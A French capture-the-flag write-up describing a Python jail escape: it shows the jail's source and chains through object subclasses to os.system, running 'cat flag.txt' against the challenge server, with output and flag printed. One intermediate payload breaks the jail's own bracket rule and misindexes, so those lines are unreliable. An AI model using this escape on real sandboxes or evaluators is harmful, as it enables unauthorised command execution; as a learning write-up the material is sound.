

corp_station

Writeup pour bjICS Tragedy: Reddington

C'est un défi pyjail. Nous devons donc trouver un moyen pour lire le fichier flag.txt avec les restrictions. Voici le code source du pyjail

```
save_len = len
save_eval = eval
save_print = print
save_input = input
Exception = Exception
str = str

globals()['__builtins__'].__dict__.clear()

while True:
    input = save_input()
    if save_len(input) > 59 or '[' in input or ']' in input:
        save_print('[Pas comme ça]')
    else:
        try:
            result = save_eval(input, {}, {})
            save_print(result)
        except Exception as e:
            save_print(f'[Erreur]: {str(e)}')
```

`__builtins__` est clair, les crochets ne sont pas autorisés et de plus nous ne pouvons pas excéder 59 caractères pour notre charge utile.

J'ai fait des recherches sur google sur les méthodes que nous pouvons utiliser dans ce cas et je suis rapidement tombé sur cette méthode permettant de récupérer une liste de toutes les sous-classes à partir des modules importés par défaut dans python.

```
().__class__.__base__.__subclasses__()
```

```
---(kali@kali)-[~/Téléchargements]
--$ nc 135.125.107.236 27005
().__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedError'>, <class 'TracebackType'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversed'>, <class 'dict_reverseitemiterator'>, <class 'dict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'frozen_importlib.ModuleLock'>, <class 'frozen_importlib.DummyModuleLock'>, <class 'frozen_importlib.ModuleLockManager'>, <class 'frozen_importlib.ModuleSpec'>, <class 'frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class 'frozen_importlib.FrozenImporter'>, <class 'frozen_importlib.ImportLockContext'>, <class 'thread._localdummy'>, <class 'thread._local'>, <class 'thread.lock'>, <class 'thread.RLock'>, <class 'io._IOBase'>, <class 'io.BytesIOBuffer'>, <class 'io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'frozen_importlib_external.WindowsRegistryFinder'>, <class 'frozen_importlib_external.LoaderBases'>, <class 'frozen_importlib_external.FileLoader'>, <class 'frozen_importlib_external.NamespacePath'>, <class 'frozen_importlib_external.NamespaceLoader'>, <class 'frozen_importlib_external.PathFinder'>, <class 'frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport.ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'sitebuiltins.Quitter'>, <class 'sitebuiltins._Printer'>, <class 'sitebuiltins._Helper'>]
```

J'ai identifié dans la liste la classe `_wrap_close` qui est définie dans le module `os`. Le module `os` contient également la fonction `system`, qui permet d'exécuter des commandes shell.

En accédant aux variables globales (`.__globals__`) du module où `_wrap_close` est définie, on obtient accès à toutes les fonctions et variables du module `os`, y compris `system`. En plus vu que nous ne pouvons pas utiliser les crochets j'ai d'abord vérifié en local ce qui peut nous permettre de sélectionner une classe de cette liste

```
---(kali@kali)-[~/Téléchargements]
--$ python
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license()" for more information.
>>> dir()
['_add_', '_class_', '_class_getitem_', '_contains_', '_delattr_', '_delitem_', '_dir_', '_doc_', '_eq_', '_format_', '_ge_', '_getattr_', '_getitem_', '_getstate_', '_gt_', '_hash_', '_iadd_', '_imul_', '_init_', '_init_subclass_', '_iter_', '_le_', '_len_', '_lt_', '_mul_', '_ne_', '_new_', '_reduce_', '_reduce_ex_', '_repr_', '_reversed_', '_rmul_', '_setattr_', '_setitem_', '_sizeof_', '_str_', '_subclasshook_', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
>>>
```

Avec un peu de recherches j'ai finalement trouvé la méthode `pop` qui pouvait faire notre affaire. Voici le payload final :

```
().__class__.__base__.__subclasses__().pop(133).__init__.__globals__['_wrap_close'].pop('system')('cat flag.txt').
```

`_wrap_close` est situé à la 133ème position dans notre liste.

Maintenant me voilà confronté au problème du `len`. Je me suis une fois encore dirigé vers google et là je suis tombé sur un writeup de hkcert ctf 2021 pyjail2 qui proposait exactement le même challenge. Voilà le payload final

```
(kali㉿kali)-[~/Téléchargements]
$ nc 135.125.107.236 27005
__builtins__.update({'a': ().__class__.__base__})
__builtins__.update({'a': a.__subclasses__()})
__builtins__.update({'a': a.pop(133).__init__})
__builtins__.update({'a': a.__globals__})
a.pop('system')('cat flag.txt')None
None
None
None
HLB2024{builtin__break_the_JAIL}
```

Flag : `HLB2024{builtin__break_the_JAIL}`